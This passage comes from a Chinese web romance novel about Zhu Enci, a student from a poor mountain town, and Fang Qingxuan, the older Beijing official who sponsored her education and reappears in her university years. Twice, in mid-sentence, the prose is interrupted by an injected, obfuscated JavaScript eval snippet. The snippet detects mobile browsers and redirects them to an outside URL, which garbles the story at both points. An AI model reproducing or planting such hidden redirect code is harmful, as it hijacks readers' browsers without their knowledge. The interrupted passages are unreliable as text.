他随口便问:“和我没有话讲?” 这话即便没有深意,听上去也有几分暧昧了。 祝恩慈就真的停下来,想了一想有什么话可讲,接着牛头不对马嘴地回句:“你就不为自己辩解?” 他听懂了弦外之音,装不懂,问:“辩解什么。” “你和他不是同类人之类的。” 方清悬掷地有声:“心里有数就行,我不说冠冕堂皇的话。” 醒酒茶有些作用,让她清醒有余,连声量都大了些:“或者你也可以说,并没有那么多的女人投怀送抱,也没有那么多心机围绕着你。” 他没反驳任何一个字,只说:“能抱上的不多。” 祝恩慈思索着,虽然话不悦耳,但他态度真挚,给他一点笑,才真是缓解了略显紧张的气氛。 方清悬等再静下来,又主动说回公事上:“下周末老太太听戏,你就趁着她心情乐呵,只管冲她狮子大开口,她高兴起来,什么都给。” 她眉如弯月,用两根指关节撑着下巴,俨然一来二去的跟他已经有些亲切了:“我钻钱眼里了?” 方清悬一静,点头赔罪:“是我狭隘了。” 祝恩慈:“赔完不是又赔不是。” 方清悬见她爱喝爱吃,又妥帖地帮她添一点茶水:“嘴笨的人,可不就是这个下场。” 祝恩慈在他没落下的尾音里浅笑一声,令人积郁的夜就在言辞之中轻易纾解了过去。 他看一眼表,觉得时候不早,说:“我让人送你。” 祝恩慈说:“我可以乘地铁。” 他说:“是我闯的祸,自然我收拾。” 别的不说,这位方先生的人文关怀总是很到位的。 祝恩慈:“那就麻烦你了。” 送她回寝室的车是方清悬的。 但他不在车上。 她孤零零地坐在后面,望着外面万家灯火,慢慢地等待着到达终点。 祝恩慈没忘记自己的来意,打开手机看见许嘉诚发来满屏的慰问:[在哪儿呢?不在厕所啊?] [没事儿吧恩慈?走了不说一声?] 最后这句显然是有点不高兴了。 祝恩慈编了一套还算稳妥的借口:[不好意思,刚刚肚子疼差点晕倒,可能是胃病犯了,打算找个药房买点药,不想影响你们聚会我就自己偷偷走了,现在好了点,我看时间也差不多了,正在回学校的路上,不用担心我。] 祝恩慈当然知道,他是不可能在那种情况下抽身陪她去医院的。 如此一讲,许嘉诚才没了丝毫责备的意思:[胃病?没事吧?] 假惺惺的,她说:[小毛病,吃药有用。] 许嘉诚:[那你好好休息,到了和我说一声。] 祝恩慈:[好。] 时间的纸张翻几页,半个秋天过去。 祝恩慈重新回到绮园那天,园子里正在唱堂会。 她在高墙外面就听见了这曲声,住了足,往墙头一看。 无声的冷月之下,国槐有凋敝的迹象,风一扫过,叶子像星星一样往下落。 萍姨正好来开门,请她过去:“姑娘来了,过来坐吧。” 祝恩慈有礼微笑:“好久不见,萍姨。” 萍姨一边领她往里头走,一边说:“今儿方先生不在,他说您自便,不用拘束。” 祝恩慈眸色微黯,又很快颔首:“好。” 夜幕之中,女孩子齐肩的发被往外一扫,清白端正的一张脸就恰好让前排等戏的人回眸瞥见了。 那双女人的眼睛直直地盯着她,手里扇子都停了摇摆,随着祝恩慈被领到老太太跟前儿,女人暗红色的指甲一点:“哪位啊这是。” 萍姨说:“是H大的学生,方先生请来教小羽画画儿的。” 祝恩慈被安排在蒋羽身边坐下。 她不认识这女人,料想这雍容姿态,看起来也是主人之一,于是点头打了个招呼。 对方却没搭腔。 “学生?” 那女人笑了声,才收回视线,缓缓摇一摇素净的团扇,后面的闲话说得就有点零零碎碎叫人听不明白了:“瞧着又是个书呆子,读那么多书有什么用,文人骨头轻。” 祝恩慈没有被这气势吓到,她只有些奇怪,隐约察觉出这话里颇有些指桑骂槐的意思。 在人家的地盘儿,她自然不敢回嘴。 只看那扇影一摇一摇,平平静静,却藏有机锋。 很快,袖口被小朋友拉了一把。 祝恩慈脑袋低下一节,听见蒋羽介绍说:“这是我外公的小老婆,坏得要死,你离她远点儿。” 外公的小老婆。 祝恩慈算了算这关系,那这女人应该是方清悬的继母吧。 台上浓妆艳抹的戏子重新登了台,底下就没人吱声了,上面正在演的一出是豫剧《花木兰》。 戏曲演员的声音很浑厚:“刘大哥讲话理太偏,谁说女子享清闲。男子打仗到边关,女子纺织在家园!” 祝恩慈抬头看去,对上演员一个定格住的眼神。 旁边有人组织纪律:别吵吵了,好好听戏。 祝恩慈静坐了片刻,耳边褪去那些纷繁复杂的声音,也慢慢地沉浸到了剧情之中。 祝恩慈很喜欢花木兰这个人物形象,只不过在这束手束脚的地方,这份热爱无从分享。 她不由地想到母亲生病那一年。 那个冬天,有很长一段时间,她每天坐在家里,对着老旧的缝纫机发很久的呆,想妈妈住了好久的院,想这学期的卷子还要不要做,又想下个礼拜,是把店铺打开、开门营业赚点钱,还是接着读书,熬过三年五载,等一个出人头地的机会? 绵绵青山太过巍峨严实,让她看不到外面的路。 祝恩慈攥着最后一份还能典当的玉器,在考虑要不要去求助她远在天边的爸爸的时候,耳边响起母亲的声音:“我就是真死了,我也不会花你爸的一分钱,当个行政秘书就牛逼得不行了,狗屁不是,他就是当官儿的一条狗!你要是敢找你爸,你就永远别来见我!” 十五岁的祝恩慈忍着眼泪,紧紧地握了一下玉佩。 家里的小铺子是最后的资产,妈妈的病花光所有的积蓄。 她再读书的话,少说还要六七年才能挣上钱。 那是她生平第一次感到需要用钱的紧迫。 祝恩慈在假期去找了个餐厅做工,凑活挣点儿学费和课本费。 这家店的老板是祝恩慈的舅妈认识的人,破例招了她来做几天,对祝恩慈还算真诚和气。 包厢里来了几位客人,老板拉着祝恩慈叮嘱:“那间里面几个是教育局和铁路局来的领导,你进去的时候小心些,别碰了洒了,到时候小店招牌都保不住,知道吧?” 祝恩慈点头。 老板拍她肩:“去吧。” 她端着一盆砂锅,推开门,站在一群平均年龄三十大几的男人中间。 祝恩慈第二次看见方清悬,是在那个冬天,那个饭桌上。 他在烟尘袅袅中,脸上挂点漫不经心的笑。 看起来是最年轻的一张面孔,随着门被打开,同他们一齐看过来。 她端久了锅,觉得手心发烫,眼睛仍没有从男人的脸上挪开。 “就放这儿吧小姑娘。”有人提醒一声,她才意识到自己在愣神。 等她转头离开。 隔着门缝,二声议论:“这么小就出来做工,没考上高中?” 另有人回答:“可能家里条件差吧,青山县里低保户不少的。” “来吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187164|165502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧吃吧,这家甲鱼不错——” “哎方总去哪儿?” 身形高大的男人起身拎了大衣,快步走出这阵无聊的喧嚣,低低一声:“透透气。” 青山的冬天不下雪,一场又一场的雨,冻得人无处躲藏。 祝恩慈裹了围巾,在阴天的黑夜里,跨过冰冷的水塘,到了公交站。 有等车的座位她不要,偏站着,手里捧一本口袋书在看。 “这两天没去上学?” 忽然有人声沉沉传来,就在耳畔。 祝恩慈诧异望去,随后恭敬地站直身子,不知道说什么合适,半天磕巴一句:“老师好。” 方清悬没急着纠正她,见她姿态谨慎,好笑说:“紧张什么?” 一身黑色大衣衬得他身板很正,气质也周正得无以复加,又因为太过俊美而给人一点距离感。 祝恩慈莫名有一点难为情,她敛眸问:“您怎么知道我没有去上课?” 他揶揄似的说:“班长不在,都没人喊起立了。” 祝恩慈便知道他又去听课了,她也不知道说什么好,就胡乱问句:“您会帮我们学校扩建吗?” 方清悬不由地笑了下:“怎么比你们老师还能操心?” 也是。 明明已经自身难保。 祝恩慈不吱声了,她用手来回窝着那口袋书。 站了会儿,旁边也没了座位,祝恩慈累了,就蹲在路牙上,近距离看着面前波纹阵阵的水塘。 看着里面茫然又痛苦的自己。 方清悬便又跟着蹲了下来。 就像初见那天在雨里,他蹲下来为她撑伞。 一样的高度,令她感到温暖。 男人凝视她片刻,问了句:“成绩不错,为什么会想放弃读书?” 他以闲聊的姿态跟她说话,问得却如长辈似的语重心长。 后来她总觉得他跟那个圈子的人不一样。 有人问她何必把话说得这么肯定? 因为她可以肯定,不会再有第二个人会为了尊重她,频频下蹲,保证她不仰头就能看到他的眼睛,保证他们之间还有最基本的诚意,还有能够平等交流的空间。 不论她以什么身份出现。 他的骨子里有着超乎情理的正直与悲悯。 祝恩慈坦白道:“妈妈生病,我想赚钱。” 那天送达的目的地是医院,方清悬似乎是猜到了,并没有惊讶,他问得委婉:“花了很多?” “房子卖掉了,现在住院手术还是够的,不知道后面还要花多少。” 方清悬想了一想,建议道:“可以申请一些基本保障。” 祝恩慈说:“申请了,不过我……” 顿了一顿,说下去:“如果我接着上学,不知道我离开青山会走什么样的路,等我学成归来会变成什么样的人,二十几岁的时候一事无成,而又落下了很多年挣钱的机会,我会不会后悔? “他们总说外面的世界很漂亮,我怎么确信这是不是真的?对我而言,走错弯路的代价是很大的。留在青山也许才是最好的选择。 “我一点都不想输。” 方清悬沉默地听完这掏心掏肺的一番陈词,并没有说什么。 他平静地看着她无力的双眸。 缓了缓,方清悬拿出手机,给她展示了一些照片。 基本都是无人的空镜,雨水弥漫的国际都市,层层叠叠的高楼,光怪陆离的夜色,游轮,鲜花,赌场,花花世界的一隅,都在他的镜头里。 方清悬一边给她看,一边介绍说:“这是纽约,这是曼哈顿,这是波士顿。” 她想知道外面的世界漂不漂亮,他就借给她看一看。 直到翻阅到最后一张。 男人的指尖和视线都有所停顿。 好似照片的出现有点出其不意。 祝恩慈看过去,是一张用手机翻拍的老照片,照片下面空白处写着两个名字: 方清悬。 程碧落。 方清悬有些明显的停顿动作没有持续太久,他能够从容地翻过情绪里滞涩的时刻。 能看得出他展示风景的本意里不包含这张照片,但男人还是认真地讲述下去:“这是北京。” 金光底色的照片。 北京颐和园,十七孔桥。 桂子飘香,北雁南飞。 年幼的方清悬旁边,站着的是一个面目和他极为相似的女人。 祝恩慈的脑袋里闪过最大的可能性,他的母亲。 祝恩慈问,“为什么给我看这一些?” 方清悬看着面前这个沮丧的小女孩,温温和和地说:“我比你先看过外面的世界,所以借给你欣赏。” 她再抬眸看他英挺的眉眼,听见他说:“只要你有信念,他们都可以在你的脚下。” 看着男人清润松弛的姿态,祝恩慈猜测,他家应该很有钱吧。 可能是富二代之类的。 只有富贵人家的小孩才会被养得这么精雕玉琢,谈吐斯文。 她简单的念头,容易把人事物都看得无比简单。 好比山就是山,水就是水,等时间过去,穿过这山水重重,就能进入他的世界。 方清悬告诉她:“事在人为。不上站场,怎么知道输赢?” 7. 青山隐隐07 祝恩慈没有深思他话里的含义。 只是从面前这个男人年长的眉眼里,看到了一点点希望,也心猿意马地去揣摩“他的世界”。 他应该是喝了点酒,身上有少量的酒气。 喝了酒,人的心肠与肝胆都会变暖。 于是这点暖,也照拂到了她的身上。 “烫伤了,先去处理一下。” 方清悬见她不发话,往她手上隔空指一下,不知道是点她受伤的指腹,还是指着她那口袋书,说着:“背单词不急这一时半会儿。” 祝恩慈难为情地折起一节指骨,试图隐藏那一点受伤的红痕。 旁边有家小的药店。 方清悬要了膏药,站在那儿候着,等老板取过来。 药越过他,被放到她手里,祝恩慈很低地说了声:“谢谢。” 他始终没有直白地提起钱,成年人有成年人谈事情的话术:“学校那边你照常去,有问题我会跟校长交涉。” 他习惯了把话讲得隐晦,以至于祝恩慈愣了愣,在想他的意图。 方清悬看她懵懂的样子,说:“不管怎么样,把书念完。” 祝恩慈生怕表情太窘迫,手里找点事做,拧开了药膏,乱抹一气,指尖颤颤的,声音也呆呆的:“您为什么愿意帮我?” 方清悬打了个比方:“路边有个刚学走路的孩子跌倒了,你会不会去扶一把?” 祝恩慈不吱声。 他又说:“很简单的事,顺手就做了。你要是在我跟前儿跌了,我袖手旁观,倒成了我的罪过。” 对她来说天大的事,对他而言是举手之劳。 他把话讲得这样云淡风轻,看不出丝毫的图谋。莹润的北方口音,让人听起来大气而舒展。 祝恩慈想到刚才那一张照片,说:“老师是从北京来的?” 方清悬回:“问这个做什么?” 她不说话,轻抿唇线,眸子里有某种含义,好像一副要深深记住他的样子。 突然有道千恩万谢的视线落在身上,方清悬不太爱承受这般重量。 他让她放宽心,说:“路靠自己走,就当我是一阵风吧,送你一程。” 她视线轻轻颤摇。 方清悬不等回答已经转了身,顺便问一句:“现在有什么想要的?” 她不解:“现在……吗?” “就现在,答应你一件请求。” 她又问为什么。 他带点笑意,说:“撞破小女孩的伤心事,已经是我的罪过。” 祝恩慈正想嘴硬地解释自己才不伤心,一低头,听见肠胃的声音:“我饿了。” 方清悬走她前面,闻言,回眸一笑说:“讹人的机会就在面前,就这么让你浪费了一把。” 他四下看看哪儿还有开着的铺子,“想吃点儿什么?” 祝恩慈真的出谋划策起来:“我知道有一家羊肉店还蛮好吃的。” 方清悬侧过身看她,“带路吧,走前面。” 那个阴气沉沉的夜里,她领着他找馆子吃饭。 路过一个长草的道馆,又经过打烊的佛寺,姜黄色的墙面印着佛家偈语。 森森的庙宇,百姓香客常来常往,俗世的欲望进进出出。 她走过那些古刹梵音,庙堂晚钟,睁眼闭眼,却都是一个男人淡然稳重的笑容。 她从不信佛,却在人间看到了她的神祇。 极致的气温让水面冰封,流水不流了,冻了半月有余。 跟方清悬头一次来这儿时截然不同。 南方的冬天湿冷砭骨,让人无心欣赏这里的苍翠,他脚程匆匆,急着往回赶。 方清悬刚工作那几年,分管一些南部乡镇的基建建设基础和资源开发一类工作,也是为了日后打算,扶贫不是容易事,但有点成绩在身上,更方便在朝中站稳脚跟。 青山这一块的项目快收尾,他离开那天学校正开学,方清悬又想起那个女孩。 他的车停在祝恩慈家的布衣坊门口,五颜六色扎染的布条挂在外面晾晒。 穿过那些重重的色彩,他走到门外,看到正在捣鼓缝纫机的小姑娘。 方清悬如今回想起来最荒唐的事之一,跑到一个女学生家里去劝学。 他没进门,远远地出了声:“缝纫机在古代叫什么?” “……嗯?” 祝恩慈抬头,就看到他站在门槛外边。 对着缝纫机还很茫然的眼神瞬间变得恭敬,她像答题似的紧张,连忙起身,说:“机杼。” 他被她这板正样子惹得低头一笑,“脑子转得挺快。” “不闻机杼声,惟闻女叹息。书里写的,要背的。” 冬天过去,祝恩慈瘦了许多,她天生不长肉的体型,面目也苍白。 轻轻地咬着字,说端正的普通话。 她母亲大概不常让她做活计,女孩子的眼里身上都还有读书人的秀气与稚嫩。 方清悬进了屋:“《木兰辞》怎么背的?” 她真的答题,站在那里背了起来。 方清悬从兜里摸出一个东西给她,用手指点在桌上,推过去:“巧了这不是?” 祝恩慈一低头,看到一张邮票。 上面印的是连环画里的女英雄,巾帼不让须眉的花木兰。 他给她解释这张票的来历。 “今儿路过一邮电所,就在你们隔壁街上,见那卖邮票,想起我小时候用邮票写信,好些年不用了,我就让陈勉去抽了一张。” 方清悬又点了点桌上的“花木兰”。 “结果抽到了这个。” 祝恩慈把小小的邮票搁置在她的掌心,讷讷地问:“送给我吗?” 他看着她懵懂而清澈的眼睛,真诚地颔首说:“送给你。” 她把邮票握在拳中,又看他眉眼英俊的模样,出尘得像是画上的神仙。 眼前这个男人,是如此的温柔而具有力量。 就这么盯了他一会儿,直到将邮票都快焐热了,祝恩慈才想着倒水招待人。 但他并没有在这儿坐一坐的想法。 “报道去了吗?”方清悬来意鲜明问她。 “嗯。” “妈妈情况怎么样?” “还在手术恢复期,医生说挺好的。” 他微微思索,点头,又说:“事在人为。” 十五岁,祝恩慈遇到一个年长的前辈,他陪她蹲在冷肃的风里,告诉她:外面的世界未必好,路未必平坦,但你一定要去看看。 输赢未知,但你一定要上战场试试。 在青山,他们只见了三面。 而细枝末节的余温,无一不让她心折。 她对他一无所知,只知道他从北京来。 他连电话都不留自己的。 此去一别,怕远隔山水,真的再也见不到。 送完邮票的方清悬往外走,到久不出没的日头之下,被人叫住。 “方老师!” 祝恩慈跑几步到他的车前,在他上车之前问一句:“我还可以见到你吗?” 方清悬回头看她跑得仓促的脚步和凌乱的碎发,这个女孩子早慧敏感,始终给人一种超出年纪的稳重感,不过偶尔慌乱起来,也有一点无辜的可爱。 他看着祝恩慈静谧而遗憾的一副表情,不紧不慢地劝慰:“好好读书,会再见的。” 祝恩慈回去上课那天,冰封的南方大地回温。 山间的水流恢复生机,急急地淌过嶙峋的乱石,往目标的方向奔流而去。 方清悬也重新见到了这座小城的往日青翠。 他在车上想了会儿祝恩慈,又想到手机里那张十七孔桥上的合影。 想母亲胎死腹中的妹妹如果长大,应该和祝恩慈差不多大了。 方清悬不自诩是什么大好人,他没有那么多愤世嫉俗的情绪。 恰恰、不久前去探访早就闭关的国学大师,问他阴阳相隔的生母在那边有没有好过些? 被指点迷津,要多做善事,多布施。 时间过去,上穷碧落下黄泉,他终于认清自己六亲缘浅的命格。 竭力挽留的东西随着年深月久,再难以捕捉,浑然不觉间,却又阴差阳错地抓住了什么。 人跟人的缘分,大多建立在阴差阳错四字之上。 交集浅浅的三年,让他早不太记得那女学生的相貌。 直到她重新现身,来到绮园,褪去未成年时期的青涩姿态,端端正正的模样,好让人恭敬地喊声“祝小姐”了。 “祝小姐”和大多数不爱听戏的人一样,歪着脑袋,不知道意识飘到哪里的九霄云外去了。 只有老太太兴致仍然高,跟着台上演员的唱词一起哼唱着。 方清悬坐在她旁边的太师椅上,肩膀上多了点重量。 他一点不恼,饶有兴趣地挂点笑在嘴角,想她几时才能醒来,发现自己睡在他身上。 直到一只蝴蝶悄然飞来,往她那边的耳廓一停。 祝恩慈还在梦里,当做是什么蚊虫,一皱眉,下意识就要抬手去拍。 他怕伤到蝴蝶,紧急捉了她的手,在她睁眼一瞬,两人的手贴在一起,骨节碰撞。 祝恩慈迟钝了三秒钟,紧急撤开,蝴蝶也飞了,将她耳梢都扇红了半寸。 他也慢慢放了手:“是蝴蝶。” 她仓促地撩一下头发,还算镇定地接了话:“我以为你今天不会来了。” 方清悬低眸看她一眼,因为挨着坐,距离很近,他声音低到都有些模糊:“在等我?” 男人低垂的眼睛和她之间的距离近得前所未有。 祝恩慈上瞥一眼,心乱了一个瞬息,有些不受控制地为之动容。 沉稳成熟的男人,面容之下又有些疏淡如霜雪的气质,手竟是暖的。 她尚没有想好怎么接话,他好整以暇地说下去:“大老远请来的戏班子,都是名角儿,不好伺候,我得看着打点。” 她缓过劲来,平静地说了场面话:“方先生还是妥当。” 那红楼画阁,光影流转在他半张脸上,方清悬又道:“顺便看一看,有没有人被我们家的小孩刁难。” 他意有所指的一句话,是为那天泳池边,她说蒋羽有个性的事。 祝恩慈有些不好意思回忆,说:“我那天喝多了点,讲的话不懂事,你不要往心里去。” 方清悬看着她,道:“晚了,已经往心里去了。” 他的语气漫不经心,骨节分明的长指捻着杯盏,没什么头绪地拨转把玩着。 祝恩慈也拿起自己的盛了茶水的杯子,学着他的手,转来转去,好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187165|165502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似无奈:“那我能怎么办?” 方清悬不答反笑。 一低眸,见她斜斜的杯口淌出水来,杯子被急忙放正。 帕子被覆在她的手上,水没那么热了,热的是手和手的温度。 短短片刻,二次碰到一起。 她这回也没急着躲,几秒的时间显得漫长。 方清悬就将帕子垫在她手背上,贴着骨节轻轻一擦,水就被洇走了大半。 “就这么不当心。”他揶揄着,看向她,这回没有蝴蝶,那纤白的耳根子也灼烧了起来。 祝恩慈气馁一般,将他帕子接过去,自己好好再擦。 她回到刚才的话题:“你放心,这儿没有人刁难我。” “没有就好,”方清悬自嘲一般说,“就怕绮园勾心斗角,人心不古,连累我在你心里印象都变差了。” 祝恩慈问道:“我的印象有什么重要?” 他话里的意思和他的眼神一样很深,也有几分道理:“全看我在不在意。” 在意的就重要。 不在意的,旁人就是觉得他十恶不赦,他也不放心里。 说到这儿,台上演出退了,男人起了身,留她漫漫思考。 祝恩慈迟缓地跟上。 方清悬领她去后院,又亲力亲为地陪她谈后面薪资,课程相关。 行至半路,他忽然想到什么:“上回那感谢信,既然写那么官方,又何必叮嘱我一定要看?” 祝恩慈轻声:“哪里官方?明明全是心意。” 他笑看她一眼,没再点破什么。 满眼纵容的样子:你说心意就心意吧。 有方清悬在,绮园里的确没人敢刁难她。 这天谈的一切都很顺利。 所有人都会看他眼色,唯独童言无忌的蒋羽。 但好在蒋羽性情显露,又是真的喜欢祝恩慈。 回到学校,躺在床上很久,祝恩慈觉得被水浇的那一块还在隐隐发烫。 明明那水温挺凉的,被他碰那么一下,怕是涂膏药都不管用。 他说到那感谢信,又让她想起什么。 祝恩慈趁宿舍同学都睡着,她爬下床,到下铺的书堆里翻到一个文件夹,取出尘封的一沓明信片。 明信片的主题,是国际大都市的地标建筑。 纽约,曼哈顿,波士顿。 伦敦,东京,新加坡,巴黎。 之前给他的感谢信,他数落得也没错,字里行间的确官方。 “如果没有您的帮助,就没有今天的我”——之类的话写得过于浮夸,简直就是感动中国的颁奖词。 也不知道方清悬看了会觉得怎么好笑。 祝恩慈翻到真正藏着心里话的信笺,读着三年以来,她行笔的角角落落。 高一那年。 方老师: 期末的成绩出来了。 我不是很想说感谢你的栽培这样的话。 可是看到满意分数的瞬间,我第一个想要分享喜悦的人是你。 或许你已经把我忘了,我只不过是你停留的一站。 但你对我而言,是如此的重要。 高二那年。 方老师: 妈妈的病在好转,我陪她去了几趟寺庙,她从前也不信这一些,可是人在走投无路的苦难里,大概只能向神佛寻求解药了。 春天了,后面的山上长了很多竹子,我经常盯着他们欣赏。 我喜欢竹子,它是最接近君子的隐喻。 我前几天还梦见了你,说来奇怪,我对人的记性很差,可是我到现在都记得你的样子,这或许就是他们说的投缘吧? 我也清楚地记得你说过,我们还会再相遇。 高三那年。 方老师: 临近高考,心情却越来越平静。 有的时候在跑操,我会想象北京的学校,那里的操场应该不会长草吧,教室的墙上应该不会有修补不好的裂痕吧? 不知道北京的春天是什么样呢? 一定是琳琅满目的,让我目不暇接。 我时常在旁人身上寻找你的影子,这都快成了我的执念。 可是他们比起你,都太过参差不齐。 太不一样了,我从没有见过你这样的人。 我只好真的把你当做一阵风。 或者一根傲寒的竹子吧。 我最喜欢的竹子。 …… 读完几张几封内容,祝恩慈抽出一张新的。 明信片上的摄影风光是北京的颐和园。 她翻到背面,在昏黄的灯影下郑重地落笔。 方老师: 又见面了,北京和我想象得差不多,但也有不同。 一样的雍容华贵。 不一样的,原来这儿也会有货架逼仄的副食店,也会有错落的山,也会有尘土飞扬的车道。 原来校园的宿舍也会因为年代久远而破败狭小。 原来地铁也陈旧。 它还干燥、严寒,有许多许多让我不适应的地方。 然而再多的不适应都不会让我厌烦它。 一想到它是你的故乡,北京就会像一位老朋友一样,令我倍感亲切、温暖。 我很高兴,在我憧憬的未来里再次见到了你。 8. 天边明月01 此后一段时间,祝恩慈每周去一次绮园。 方清悬几乎再也没有现身过。 一周一次并不算很高的频率,四次可以碰面的契机过去,便又捱过了一个月的时间。 祝恩慈按时坐进他派来的车,在车里猜他今天在不在,每每好像拎着竹篮去打水。 好在方家的老太太诚然出手阔绰,没有真的让她一场空。 秋天有了好消息,祝芳菲在电话里告诉她:“家门口的铁路已经完工了,不会多久就能运行起来了,以后你直接坐高铁到省城,回青山也不用那么煎熬了。” 祝恩慈握着手机,没有想那颠簸跋涉的路途。 那一时间,她想到的是方清悬。 她不知道这些项目的结束有没有给方清悬这个名字添上一笔荣誉,但不出意外,其中是有他的功劳在。 她暗自揣测了许多,关于他的来历,他的身份,旁人对他的姿态如何,祝恩慈都看在眼里。 她对人情的领会偶尔迟钝滞后,但祝恩慈并不傻的。 祝芳菲在她走神的间隙,一刻不停地在说:“妈这两天晒了点陈皮,给你寄过去?家里的石榴也结果子了,我放一起吧。对了被子够不够?北京冷吧?听说零下几十度,快冬天了,我赶紧给你再做一床。” 祝恩慈失笑,打断:“好了,我难不成还把自己冻死?你也不用一个劲地给我寄东西了,尤其是吃的,在寝室里都堆成山了。” “不给同学分?” “分了还剩不少。” 祝芳菲想到某种可能,突然冷了声音:“恩慈,你在外面千万不要觉得低人一等。” 她这话一出,两端都静了静。 妈妈是一个敏感又较真的人,不仅从旁人的言行里判断事情,还会发散出来一些莫名其妙的剧情。 估计此刻正在揣测: 女儿因为家境清贫,到了眼花缭乱的大城市里,不好意思跟穿金戴银的室友透底,于是把那些不值钱的瓜果藏着掖着不拿出来。 分不分食是小,爱慕虚荣是大。 祝芳菲身体里那些无人在乎的骨气又开始作祟,把场面弄得僵住。 祝恩慈平静地说:“我从来不觉得家境让我难堪。” 几秒后,妈妈的呼吸声才慢慢恢复自如。 祝恩慈将话题缓和,给她讲近况:“我最近在做兼职,教人家小孩子画画,樊老师当年交给我那点本事,没想到还能派上用场。” 樊老师就是那位教她国画的大师,是祝家十分和睦的邻里。 艺术是有门槛的。 祝恩慈走投无路的时候想过,大不了她还可以留在青山从事画画一行。 后来她发现异想天开,人在温饱困难的时候,哪里有心情去舞文弄墨? 青山根本没有她的舞台。 直到眼下,才在北京舒展了拳脚。 她说话时,正在桌上摆弄蒋羽给她留的那些宝贝。 勾线的纯羊毫,天价的定制款。花青的小小水盂,比博物馆里展出的上古瓷器还要精美。 蒋羽心情一好就甩手送给她,只嚷嚷用不惯,要换新的。 轻飘飘的毛笔握在祝恩慈手里,却重如千斤。 胭脂色的笔头往熟宣上一捺,空白纸面上就多了一朵海棠的瓣。 祝芳菲又警惕十足地问她:“什么人家?” 她半开玩笑地答:“是大户人家。” 祝芳菲沉吟。 祝恩慈预感不对:“你在害怕?” “妈当然是怕你误入歧途。” 祝恩慈笃定说:“我不会。” 对面拔高的声音,让她想起那年妈妈势不肯接受垂怜的姿态。 祝芳菲即便倔得只剩半条命,也不肯去找那谋了一官半职就抛弃妻女的前夫。 更不肯接受一个来意不明的富二代好心资助。 如果不是这句“误入歧途”,祝恩慈都快忘了当时在她病床前掉的眼泪。 彼时,祝芳菲耳提面命地扯着她说——“要一个陌生人帮你干什么?升米恩,斗米仇!你明不明白这个道理?” 祝恩慈咬着牙低眸,说:“我还想上学。” 祝芳菲说,“你实在想上学,妈去借钱,妈就是还剩一口气,也给你把钱凑够了!你找的什么人帮你?北京来的?大领导?当官的?!我看你真是不想好了——!” 祝恩慈道:“有没有可能,对我们来说是斗米,对人家来说,不过是指缝里漏一点。” 她管不着什么升米恩斗米仇,她只知道她要上学,她要读书,她要走出这座大山。 她非常需要这份资助。 非常需要。 “廉者不受嗟来之食。”祝芳菲怒上眉梢,指着她的指尖都在发颤,“你叫他来跟我说,谁知道他是人是鬼?现在社会上那些人,看着年轻漂亮的女学生,就动了歪心思,你——咳咳!” 她砸完了床,又去砸自己的胸口。 没经家长的同意就草草决定这样一件大事,是祝恩慈的过错。 她没有回嘴,安抚好母亲激烈的情绪。 最后,祝芳菲是打了陈勉的电话。 那时候祝恩慈还不清楚为什么一通电话过后,祝芳菲就松了口,最后答应了接受资助。 直到她后来见到陈勉,才明白有的人纵横交际场多年,百炼成钢,嘴皮子上的功夫都是其次了,那般胜券在握的心态才是制胜法宝。 这点小事,甚至用不到方先生亲自出马。 和妈妈的电话结束很久,祝恩慈才缓过神来。 宣纸上,她最终只画了一朵花瓣。 因为从没有用过这么上好的笔,最终只将它无比珍摄地收藏了起来。 大一的上半学期,祝恩慈过得忙碌。 因为主动加入了无人机创新大赛的队伍,除了绮园的兼职,祝恩慈还需要在课程之余,奔波在实验室和寝室之间。 苏朵有一回问她闲事:“你天天跟着我们做实验,早出晚归的,你们寝室的同学不会有什么意见吧?” 祝恩慈只说不会。 她心里想,其实她们回来更晚,谁也不打扰谁。 黄锦云最近恋爱了,更是顾不着和祝恩慈联络感情。 祝恩慈对她的恋爱过程一概不知,因为同学在讲八卦的时候,她基本泡在图书馆。 古代人有头悬梁锥刺股的毅力,祝恩慈不需要这样折腾自己,她能做的就是尽量远离温床。 不过纵然对朋友的爱情不闻不问,她也好几次碰见宿舍楼下有车在等。 那车还挺熟悉的。 因为能在学校里驰骋的跑车不多,还改了色,磨砂的蓝色渐变,是辆兰博基尼。 祝恩慈头一回在教学楼看见的时候并不知道那是什么车,只记得车主一副蛮横无理的痞子样。 没想到再见那痞子,他已经成了她室友亲密无间的男朋友。 她是跟黄锦云一起下的楼。 “何容与!”黄锦云几乎是朝着靠在车前等她的男人飞奔过去,“你今天来得好早呀。” 仍然是断眉、短鬓,造型独特的男孩子引人注目,祝恩慈不由地又想起上回他说她新鲜,两人差点呛起来那茬。 顾及黄锦云在场,最好的处理方式是假装没看到。 然而正要走时,又被唤住:“恩慈,你现在去兼职吗?打车还是地铁?要不要我男朋友送你?” 祝恩慈回答:“不用。” 她没看男生,不过能预感到对方的视线在她身上走了一圈。 “什么兼职。”何容与问怀里的黄锦云。 “不知道啊,她给人家做家教吧,我没问。” 黄锦云泡在爱情的甜蜜里,也不再管祝恩慈了,“哎!你到底能不能带我去你哥那个会所玩玩?你要是怕掉面子,我不说是你女朋友还不行吗?” “谁说你掉面子了,”何容与回答着她,视线却粘在不远处的女孩子身上片刻:“就一会所,有什么稀奇的?” “我就想知道里面有什么嘛。” 他想了想,“下回带你去玩儿牌,□□会不会?” “我会扑克啊,不过我只会炸金花。” “学点儿花样,玩起来过瘾。” 